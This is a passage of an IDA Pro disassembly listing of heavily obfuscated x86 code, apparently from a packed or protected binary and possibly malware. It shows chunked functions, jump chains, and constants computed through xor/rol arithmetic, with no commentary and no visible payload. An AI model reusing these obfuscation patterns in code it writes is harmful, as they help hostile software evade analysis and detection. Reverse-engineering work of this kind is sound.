; FUNCTION CHUNK AT 0042A57D SIZE 00000016 BYTES

		add	eax, 66BB5C3Fh
		mov	eax, [eax]
		xor	edx, edx
		mov	[eax+4], edx
		mov	edx, [ebp-4]
		jmp	loc_42A57D
sub_42BE29	endp

; ---------------------------------------------------------------------------


loc_42BE3E:				; CODE XREF: _7hdaygc1:004285AEj
					; _7hdaygc1:00429E42j
		jge	loc_426FDB
		or	edx, 0E9E2E825h
		popf


loc_42BE4B:				; CODE XREF: _7hdaygc1:loc_4254AAj
		rol	ebx, 7
		xor	ebx, 577EEAE6h
		add	ebp, ebx
		pop	ebx
		jmp	loc_424574
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42BE5D:				; CODE XREF: _7hdaygc1:0042BBF7j
		jmp	loc_424DB8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42BE63	proc near		; CODE XREF: sub_4290DB+9j

var_6C		= dword	ptr -6Ch
var_60		= dword	ptr -60h

; FUNCTION CHUNK AT 0042430E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AC35 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042B410 SIZE 00000005 BYTES

		add	esp, 0FFFFFFA0h
		lea	eax, sub_4290DB
		mov	[ebp-8], eax
		push	1Ch
		lea	eax, [ebp-60h]
		push	eax
		mov	eax, [ebp-8]
		jmp	loc_42430E
sub_42BE63	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BE7D	proc near		; CODE XREF: sub_42ABF7+Bp
					; _7hdaygc1:0042C2C1j

; FUNCTION CHUNK AT 00425600 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042C72A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042DBE8 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042E8BE SIZE 0000000D BYTES

		xchg	eax, [esp+0]
		pop	eax
		jnz	loc_42C72A
		lea	edx, [ebp-14h]
		mov	eax, offset dword_427CB0
		call	sub_42AA07
		jmp	loc_425600
sub_42BE7D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42BE99:				; CODE XREF: _7hdaygc1:00425219j
		rol	eax, 19h
		or	eax, 5F355175h
		add	eax, 0A0CC5533h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42665D
		jmp	loc_425CBB
; ---------------------------------------------------------------------------
		call	sub_42FA48
; START	OF FUNCTION CHUNK FOR sub_426008


loc_42BEBC:				; CODE XREF: sub_426008+7j
		jmp	loc_42E978
; END OF FUNCTION CHUNK	FOR sub_426008
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425D85


loc_42BEC1:				; CODE XREF: sub_425D85+Ej
		jmp	loc_42E7B3
; END OF FUNCTION CHUNK	FOR sub_425D85

; =============== S U B	R O U T	I N E =======================================



sub_42BEC6	proc near		; CODE XREF: _7hdaygc1:00425DBCj
					; sub_4295F7+17p

; FUNCTION CHUNK AT 004237C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042410F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00425900 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042968C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D3AD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042D5C3 SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	edx, 0E52EEF79h
		mov	edx, [edx]
		popf
		xor	eax, edx
		jmp	loc_42410F
sub_42BEC6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42BEDA	proc near		; CODE XREF: _7hdaygc1:00423FC5j
					; _7hdaygc1:0042DB0Bp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042BC02 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042CA55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D44C SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ecx
		mov	ecx, edi
		jmp	loc_42CA55
sub_42BEDA	endp

; ---------------------------------------------------------------------------
		or	ecx, eax
		jmp	loc_42B747
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4297B2


loc_42BEED:				; CODE XREF: sub_4297B2+7j
		mov	large fs:0, esp
		mov	eax, [eax]
		mov	eax, 1
		jmp	loc_4297A2
; END OF FUNCTION CHUNK	FOR sub_4297B2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	eax, offset nullsub_3
		call	sub_42E32F


loc_42BF0B:				; CODE XREF: _7hdaygc1:0042DD38j
		test	byte ptr [eax-8], 10h
		jz	loc_42E2FB
		inc	dword ptr [ebp-8]
; START	OF FUNCTION CHUNK FOR sub_425C2C


loc_42BF18:				; CODE XREF: sub_425C2C:loc_42BC99j
					; sub_42F7B5+4j
		mov	eax, [ebp-8]
		jmp	loc_42D869
; END OF FUNCTION CHUNK	FOR sub_425C2C

; =============== S U B	R O U T	I N E =======================================



sub_42BF20	proc near		; DATA XREF: sub_42B034-78A7o

; FUNCTION CHUNK AT 004297DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DEAF SIZE 00000005 BYTES

		mov	[ecx], eax


loc_42BF22:				; CODE XREF: _7hdaygc1:loc_4235A8j
		pop	ecx
		push	0F8h
		mov	eax, [ebp-4]
		push	eax
		jmp	loc_4297DE
sub_42BF20	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_42BF31:				; CODE XREF: _7hdaygc1:00425C77j
		retn
; ---------------------------------------------------------------------------


loc_42BF32:				; CODE XREF: _7hdaygc1:0042DFF7j
		jmp	sub_42C1AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42BF37:				; CODE XREF: sub_426130:loc_42D8E4j
					; sub_426130+77C6j
		add	ebx, 477C8Bh
		xchg	ebx, [esp+4+var_4]
		jmp	sub_424BE6
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42BF45:				; CODE XREF: sub_42C443+B61j
		jz	loc_426245
		jmp	loc_425687
; END OF FUNCTION CHUNK	FOR sub_42C443
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42BF51:				; CODE XREF: sub_425E64+694Fj
		jmp	loc_42B667
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42BF56:				; CODE XREF: sub_426130-119Cj
		jmp	loc_4261BC
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_42BF5B:				; CODE XREF: sub_4232DA+C9A5j
		jns	loc_42D42F
		mov	ebx, ecx
		cdq


loc_42BF64:				; CODE XREF: sub_4232DA:loc_42C65Ej
		call	sub_42DB44


loc_42BF69:				; CODE XREF: _7hdaygc1:0042CA99j
		jmp	sub_42DBEA
; END OF FUNCTION CHUNK	FOR sub_4232DA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42BF6F:				; CODE XREF: _7hdaygc1:loc_42F1BBj
		or	edi, 90521132h
		popf
		jmp	loc_429C63
; ---------------------------------------------------------------------------


loc_42BF7B:				; CODE XREF: _7hdaygc1:loc_42E1BDj
		sub	ecx, 0E88519D1h
		xor	ecx, 0CA469E21h
		push	offset loc_42632A
		jmp	locret_425E00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E7E


loc_42BF91:				; CODE XREF: sub_424E7E:loc_4248DFj
		mov	[ebp-4], eax
		xor	eax, eax
		push	esi
		push	87BD9DB3h
		xchg	eax, [esp+0]
		mov	esi, eax
		pop	eax
		sub	esi, 45A61155h
		jmp	loc_42856C
; END OF FUNCTION CHUNK	FOR sub_424E7E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42BFAE:				; CODE XREF: _7hdaygc1:loc_42E588j
		jz	loc_428CA2
		jmp	loc_42DC24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42BFB9:				; CODE XREF: sub_42AA47-75C4j
		push	167D06E2h
		pop	eax
		add	eax, 5D6D46C9h
		cmp	eax, 36170A03h
		jmp	loc_42492A
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------


loc_42BFD0:				; CODE XREF: _7hdaygc1:loc_42EE00j
		sub	ecx, 0A9520F39h
		jmp	sub_42B0DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BAD


loc_42BFDB:				; CODE XREF: sub_425BAD-1161j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_425BAD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BFDF	proc near		; CODE XREF: sub_427D8E-3353p
					; sub_425BAD+8F8p
		push	ebp
		mov	ebp, esp
		jmp	sub_42ED2A
sub_42BFDF	endp

; ---------------------------------------------------------------------------


loc_42BFE7:				; CODE XREF: _7hdaygc1:0042F732j
		pop	edx
		and	edx, 3161D273h
		jnz	loc_42A21D
		jp	loc_42F3D0
		shr	edi, 0Ah
		jmp	loc_42A21C

; =============== S U B	R O U T	I N E =======================================



sub_42C002	proc near		; CODE XREF: sub_424AE1+5691p
					; _7hdaygc1:0042C114j

; FUNCTION CHUNK AT 004273D9 SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	esi, 10A59B3Dh
		call	sub_42F30D


loc_42C011:				; CODE XREF: sub_42E41D+19j
		jmp	loc_4273D9
sub_42C002	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42C016:				; CODE XREF: _7hdaygc1:0042919Ej
		jmp	loc_42EF1F
; ---------------------------------------------------------------------------
		popf
		adc	esi, ebp
		jmp	sub_428A2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E1F1


loc_42C023:				; CODE XREF: sub_42E1F1:loc_42E200j
		test	al, al


loc_42C025:				; CODE XREF: sub_42A4F1:loc_426386j
		jnz	loc_42C78F
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h
		push	offset loc_426BA2
		jmp	loc_42B29F
; END OF FUNCTION CHUNK	FOR sub_42E1F1
; ---------------------------------------------------------------------------
		push	eax
		pop	edx
		xor	eax, eax
		call	sub_428B11
		push	ebp
		jmp	loc_42D85A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CDF7


loc_42C04A:				; CODE XREF: sub_42CDF7-8D09j
		push	510DA982h
		pop	ecx
		xor	ecx, 0FA246CF2h
		or	ecx, 95A72F3Eh
		sub	ecx, 0D1C3CD74h
		add	ecx, 12569E31h
		popf
		jmp	loc_42D96C
; END OF FUNCTION CHUNK	FOR sub_42CDF7
; ---------------------------------------------------------------------------


loc_42C06E:				; CODE XREF: _7hdaygc1:004289BCj
		jnz	loc_42B78A
		cmp	edi, eax
		jmp	loc_423843
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42C07B:				; CODE XREF: sub_429318:loc_429F00j
		cdq
		jbe	loc_42305A
		or	eax, 1ADEFA99h
		and	ecx, eax
		pushf
		jmp	loc_42AFBF
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42C090:				; CODE XREF: sub_42E283-47C8j
		jbe	loc_42C360
		mov	edx, [eax]
		jmp	loc_42A269
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4268D9


loc_42C09D:				; CODE XREF: sub_4268D9:loc_42D0D0j
		and	eax, 975A41B9h
		rol	eax, 1Dh
		xor	eax, 0C8950591h
		call	sub_42F152


loc_42C0B1:				; CODE XREF: sub_428498+1B5Bj
		jl	loc_424195
; END OF FUNCTION CHUNK	FOR sub_4268D9
; START	OF FUNCTION CHUNK FOR sub_42C48C


loc_42C0B7:				; CODE XREF: sub_42C48C+Aj
		jmp	loc_42589C
; END OF FUNCTION CHUNK	FOR sub_42C48C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C26B


loc_42C0BC:				; CODE XREF: sub_42C26B-8621j
		jmp	loc_428A76
; END OF FUNCTION CHUNK	FOR sub_42C26B
; ---------------------------------------------------------------------------
		popf
		jmp	loc_424193
; ---------------------------------------------------------------------------


loc_42C0C7:				; CODE XREF: _7hdaygc1:loc_42425Bj
		push	1Ch
		push	5CC5F89Fh
		pop	eax
		and	eax, 29B68391h
		xor	eax, 1CF8AC47h
		add	eax, 0F93D1E32h
		add	eax, ebp
		add	eax, 0F246B4C4h
		jmp	loc_42E593
; ---------------------------------------------------------------------------


loc_42C0EE:				; DATA XREF: _7hdaygc1:0042848Eo
		dec	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 0
		jg	loc_427276
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42C0FB:				; CODE XREF: sub_429318:loc_4254E6j
		jmp	loc_42E8C6
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------


loc_42C100:				; CODE XREF: _7hdaygc1:00425027j
		shr	eax, 5
		jmp	loc_429101
; ---------------------------------------------------------------------------
		jnb	loc_425756
		sbb	ebp, 0A6E2F821h
		jmp	sub_42C002

; =============== S U B	R O U T	I N E =======================================



sub_42C119	proc near		; CODE XREF: _7hdaygc1:0042334Bj
					; sub_4291A3+5044p

; FUNCTION CHUNK AT 00427D7C SIZE 0000000D BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	al, [eax]
		sub	al, 99h
		mov	edx, ds:dword_425154
		imul	byte ptr [edx]
		jmp	loc_427D7C
sub_42C119	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428613


loc_42C12E:				; CODE XREF: sub_428613+6j
		push	63833667h
		pop	ebx
		xor	ebx, 5DDFE43Eh
		sub	ebx, 0F067B115h
		xor	ebx, 9F6109C9h
		rol	ebx, 1Bh
		call	sub_425459


loc_42C14E:				; CODE XREF: sub_42E973-4A85j
		jmp	loc_42D1E2
; END OF FUNCTION CHUNK	FOR sub_428613
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425752


loc_42C153:				; CODE XREF: sub_425752+3B0Fj
		jmp	loc_42C80B
; END OF FUNCTION CHUNK	FOR sub_425752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D84A


loc_42C158:				; CODE XREF: sub_42D84A:loc_427218j
		jmp	nullsub_88
; END OF FUNCTION CHUNK	FOR sub_42D84A
; ---------------------------------------------------------------------------


loc_42C15D:				; CODE XREF: _7hdaygc1:loc_42C677j
		xchg	edi, [edx]
		jmp	sub_427EF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42C164:				; CODE XREF: sub_4291EA-3CCDj
		call	sub_42B650

locret_42C169:				; CODE XREF: _7hdaygc1:loc_42EF36j
		retn
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D1B


loc_42C16A:				; CODE XREF: sub_429D1B:loc_429D2Bj
		jmp	loc_424FC5
; END OF FUNCTION CHUNK	FOR sub_429D1B

; =============== S U B	R O U T	I N E =======================================



sub_42C16F	proc near		; CODE XREF: sub_426738+Aj
					; sub_429318-270Fp ...

var_18		= dword	ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042307D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423608 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423C5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423EE5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00424906 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00424A72 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042591F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00425991 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426157 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004269AC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00426BBF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042705B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00427DA3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004280CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428174 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004283A6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00428404 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042850C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042883F SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00428A43 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00428A8E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00428E85 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428FA0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004294F8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042982A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A0D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A276 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A2C9 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042B6A2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042B8BE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042C62C SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0042C9EA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042D045 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042D158 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042D6F0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D702 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DCEE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042DD55 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042DDB5 SIZE 00000017 BYTES

		push	edx
		mov	edx, ebp
		jmp	loc_424A72
sub_42C16F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42C177	proc near		; DATA XREF: sub_424FE5:loc_425F30o
		push	eax
		call	sub_42D85F
		jmp	loc_424A75
sub_42C177	endp

; ---------------------------------------------------------------------------
		push	65A3AACFh
		pop	eax
		or	eax, 54461436h
		xor	eax, 847B9505h
		and	eax, 8752AE52h


loc_42C19A:				; CODE XREF: _7hdaygc1:loc_42B2FDj
		jmp	loc_42A578
; ---------------------------------------------------------------------------


loc_42C19F:				; DATA XREF: _7hdaygc1:0042ECE5o
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		ror	eax, 11h
		mov	ds:dword_423B18, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1AF	proc near		; CODE XREF: sub_42BAE7:loc_423129j
					; sub_42C50D-87C9p ...

; FUNCTION CHUNK AT 0042BA89 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_42BA89
sub_42C1AF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	eax, ebp
; START	OF FUNCTION CHUNK FOR sub_424963


loc_42C1B9:				; CODE XREF: sub_424963+8A66j
		jmp	sub_4241F3
; END OF FUNCTION CHUNK	FOR sub_424963
; ---------------------------------------------------------------------------
		jno	loc_429F4D
; START	OF FUNCTION CHUNK FOR sub_424744


loc_42C1C4:				; CODE XREF: sub_424744+4795j
		jmp	sub_424963
; END OF FUNCTION CHUNK	FOR sub_424744
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_42C1C9:				; CODE XREF: sub_42DAE8:loc_42DAF2j
		sub	ebx, eax
		sbb	esi, 5C4ADC2Eh
		and	edx, ecx
		jmp	loc_42E837
; END OF FUNCTION CHUNK	FOR sub_42C7F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A17C


loc_42C1D8:				; CODE XREF: sub_42A17C+E19j
		pop	ebx
		and	ebx, 528DA594h
		rol	ebx, 8
		and	ebx, 2EA07B93h
		add	ebx, 0F3C2EB53h
		xchg	ebx, [esp+0]
		jmp	loc_42BE02
; END OF FUNCTION CHUNK	FOR sub_42A17C
; ---------------------------------------------------------------------------


loc_42C1F6:				; DATA XREF: sub_42E29B:loc_423C4Fo
		or	eax, eax
		jnz	loc_42C9D0
		jmp	loc_4246C2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_42C204:				; CODE XREF: sub_4288FE-2BDDj
		jmp	sub_429557
; END OF FUNCTION CHUNK	FOR sub_4288FE

; =============== S U B	R O U T	I N E =======================================



sub_42C209	proc near		; DATA XREF: sub_429CCF+5BBBo

; FUNCTION CHUNK AT 00423512 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423E9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428475 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428DC3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00429244 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429734 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042D12D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042EE31 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F204 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042FCF8 SIZE 00000019 BYTES

		pop	ebp
		cmp	dword ptr [ebp-8], 0
		jnz	loc_429734
		jmp	loc_42EE31
sub_42C209	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AA8


loc_42C219:				; CODE XREF: sub_424AA8:loc_427C8Dj
		jge	loc_42AF52
; END OF FUNCTION CHUNK	FOR sub_424AA8
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_42C21F:				; CODE XREF: sub_425A37+5351j
		jmp	loc_425A85
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42936E


loc_42C224:				; CODE XREF: sub_42936E+37Cj
		jmp	nullsub_183
; END OF FUNCTION CHUNK	FOR sub_42936E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428802


loc_42C229:				; CODE XREF: sub_428802+6j
		jmp	loc_423D30
; END OF FUNCTION CHUNK	FOR sub_428802
; ---------------------------------------------------------------------------


loc_42C22E:				; CODE XREF: _7hdaygc1:00424CACj
					; _7hdaygc1:loc_42BBC1j
		jmp	loc_428310
; ---------------------------------------------------------------------------
		add	ebx, 41A36D7Ah
		pushf
		sub	ebp, 0C8307070h
		jmp	loc_42AF52
; ---------------------------------------------------------------------------


loc_42C245:				; DATA XREF: sub_42E283-8CACo
		mov	esp, ebp
		push	offset sub_428B75
		jmp	locret_428839
; ---------------------------------------------------------------------------
		sub	edx, 0F4DBE30Dh
		jmp	sub_42CFDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A1B6


loc_42C25C:				; CODE XREF: sub_42A1B6-C39j
		push	edx


loc_42C25D:				; CODE XREF: sub_42A1B6:loc_42B4CAj
		mov	eax, [ebp-24h]
		push	edi
		push	761B633h
		jmp	loc_4259B5
; END OF FUNCTION CHUNK	FOR sub_42A1B6

; =============== S U B	R O U T	I N E =======================================



sub_42C26B	proc near		; CODE XREF: sub_42EF3C:loc_42EED0j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00423393 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423C38 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004261C9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00426BE7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428142 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00428A76 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042A6D3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042C0BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C400 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+4+var_4]
		push	eax
		mov	eax, esi
		xchg	eax, [esp+8+var_8]
		mov	esi, eax
		xchg	esi, [esp+8+var_8]
		jmp	loc_42C400
sub_42C26B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42C281:				; CODE XREF: _7hdaygc1:0042442Bj
		jge	loc_42AC5B
		or	ebp, 5BF0EA17h
		jmp	loc_424C53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B11


loc_42C292:				; CODE XREF: sub_428B11+29B4j
		shr	esi, 4
		push	534747E8h
		jmp	loc_42F6D8
; END OF FUNCTION CHUNK	FOR sub_428B11
; ---------------------------------------------------------------------------
		push	ebp
		and	eax, 94AE3D4Eh
		jmp	sub_4273E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_42C2AB:				; CODE XREF: sub_42C7F3-72B2j
		rol	ecx, 19h
		sub	esi, edx
		test	eax, 7566CB13h
		jmp	loc_426C4B
; END OF FUNCTION CHUNK	FOR sub_42C7F3
; ---------------------------------------------------------------------------
		and	edx, 0DAFAACC6h
		jmp	sub_42BE7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42C2C6:				; CODE XREF: sub_4291EA-3D09j
		js	loc_426D92


loc_42C2CC:				; CODE XREF: sub_4291EA:loc_42C990j
		call	sub_42D757
		mov	edx, 5180B1FCh
		call	sub_42C1AF
		push	offset loc_425504
		jmp	loc_424E33
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42C2E5:				; CODE XREF: sub_423172:loc_42965Fj
		jz	loc_428DCA
		jmp	loc_4265E8
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A2B


loc_42C2F0:				; CODE XREF: sub_424A2B+5428j
		jz	loc_42C99B


loc_42C2F6:				; CODE XREF: sub_42D245+14j
		jmp	loc_42F2DF
; END OF FUNCTION CHUNK	FOR sub_424A2B
; ---------------------------------------------------------------------------
		jz	loc_429BA3
		shl	esi, 0Eh
		jmp	loc_42C99B
; ---------------------------------------------------------------------------
		or	ebp, esi
		jmp	loc_428800
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4270E6


loc_42C310:				; CODE XREF: sub_4270E6-1F69j
		jo	loc_42C9F9
		shl	esi, 11h
		xor	esi, 4AA1FDCBh
		jmp	loc_425C7C
; END OF FUNCTION CHUNK	FOR sub_4270E6
; ---------------------------------------------------------------------------


loc_42C324:				; CODE XREF: _7hdaygc1:00425EABj
		pop	ecx
		xor	ecx, 5173C961h
		add	ecx, 533F2689h
		rol	ecx, 2
		xor	ecx, 6A3F2160h
		call	sub_4264C0
; START	OF FUNCTION CHUNK FOR sub_42A17C


loc_42C33F:				; CODE XREF: sub_42A17C+Cj
		jmp	loc_42ED93
; END OF FUNCTION CHUNK	FOR sub_42A17C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BAD


loc_42C344:				; CODE XREF: sub_425BAD+Fj
		jmp	loc_4267DF
; END OF FUNCTION CHUNK	FOR sub_425BAD
; ---------------------------------------------------------------------------
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_42C34A:				; CODE XREF: sub_42C50D:loc_42A12Ej
		test	eax, ebx
		jmp	loc_42CD19
; END OF FUNCTION CHUNK	FOR sub_42C50D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DAE


loc_42C351:				; CODE XREF: sub_423DAE+Bj
		and	esi, 9181F6FDh
		xor	esi, 820DEC88h
		add	edx, esi
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_423DAE
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42C360:				; CODE XREF: sub_42E283:loc_42C090j
		mov	edx, [edx]
		jmp	loc_42A8FB
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------


loc_42C367:				; CODE XREF: _7hdaygc1:00424728j
		mov	eax, [esi]

; =============== S U B	R O U T	I N E =======================================



sub_42C369	proc near		; CODE XREF: sub_426A39:loc_426A4Ep

; FUNCTION CHUNK AT 004243CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426357 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00427276 SIZE 0000000B BYTES
